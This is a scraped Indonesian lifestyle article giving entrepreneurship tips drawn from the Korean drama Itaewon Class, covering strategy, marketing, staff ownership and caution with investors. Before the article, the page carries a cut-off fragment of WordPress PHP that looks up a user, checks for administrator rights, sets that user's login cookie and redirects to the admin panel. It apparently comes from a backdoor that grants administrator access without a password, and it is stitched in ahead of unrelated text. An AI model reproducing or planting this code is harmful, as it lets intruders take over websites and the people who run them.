user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Reviews
Tip Entrepreneurship Dari Drama Itaewon Class yang Dibintangi Park Seo-joon

17 Mar 2020

Foto: dok JTBC

Drama Korea Itaewon Class yang kini tengah tayang di saluran tv kabel tvN dan Netflix ini menceritakan balas dendam dengan cara yang cerdas. Park Sae-roi (diperankan oleh Park Seo-joon) kehilangan ayahnya karena tabrak lari yang dilakukan putra seorang pengusaha pemilik jaringan restoran Jangga. Alih-alih mendapat keadilan, ia malah dipenjara. 

Niat balas dendam menjadi api yang terus membakar semangatnya untuk belajar dan mengumpulkan modal untuk mengalahkan bisnis Jangga. Nah, ia memulainya dengan mendirikan sebuah kedai di daerah yang terkenal sebagai tempat gaul dan berkumpul berbagai bangsa di Seoul, Itaewon. Letaknya tak jauh dari restoran Jangga. Kedainya diberi mana DanBam atau Honey Night. Di sinilah insting wirausahanya diuji. Yuk, belajar dari Itaewon Class:

# Tentukan target jangka panjang dan susun strategi untuk mencapainya satu demi satu. Meski penuh kerikil dan duri di sepanjang jalan serta perlu waktu lama, semua dijalani dengan tabah hingga Park Se-roi hingga akhirnya bisa memulai bisnis pertamanya. Bagi sebagian besar orang mengambil langkah pertama saja tidak datang dengan mudah.

# Lokasi ideal saja tidak cukup, perlu strategi marketing untuk membuat bisnis menarik pelanggan. Jangan ragu untuk mendapat masukan dan menerima bantuan. Pengalaman karakter Jo Yi-seo sebagai influenser yang sering membuat review resto sangat membantu. Ia bisa melihat kekurangan DanBam dan menemukan solusi. 

# Belajar bisnis bisa dari mana saja, bahkan tak harus sekolah bisnis atau marketing.  Park Seo-roi belajar dari buku-buku dan internet. Sementara tangan kanannya Yi Seo dari pengalaman dan kemampuannya mengamati bisnis makanan.

# Kalau tidak bisa dapat tempat strategis yang tidak terlalu hip, jangan menyerah. Buat lingkungan ikut bergerak maju, sehingga bisnis perlahan ikut meningkat. Jangan lupa, ini era media sosial, lingkungan yang menarik bisa jadi gimmick untuk konsumen.

# Namun sehebat apapun strategi marketing, pelayanan, dan tampilan reso, jantung dari bisnis makanan adalah rasa makanannya. 
Advertisement


# Merangkul karyawan. Seo-roi membuat karyawan rajin dan semangat dengan membuat mereka ikut merasa memiliki. Restonya dibuat dalam bentuk perseroan dan tiap karyawan diberi saham. Tak sekadar basa-basi, karyawannya juga diberi kesempatan untuk memberi pendapat dan usulan.

# Seo-roi percaya pada kemampuan dan kompetensi karyawannya, tanpa membedakan usia, ras, warna kulit, atau latar belakang sosial. Kepercayaan itu pun dibayar dengan loyalitas.

# Jangan langsung percaya janji-janji manis investor. Selalu pelajari latar belakang dan risikonya. Jangan sampai tertipu seperti Seo-roi. 

# Sebagai entrepreneur, Seo-roi tidak berhenti setelah mencapai satu target, buat target yang lebih besar. Setelah berhasil mndapat investasi besar dan membuat jaringan waralaba, Seo-roi bilang, ini bukan akhir mimpinya. Setelah mendulang sukses di Korea, yang menurut Seo-roi memiliki low risk, high return untuk pemilik modal besar, ia menargetkan pasar Tiongkok dan dunia. (f)

Baca Juga :

 



Topic

#koreancorner, #bisnis, #entrepreneur

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?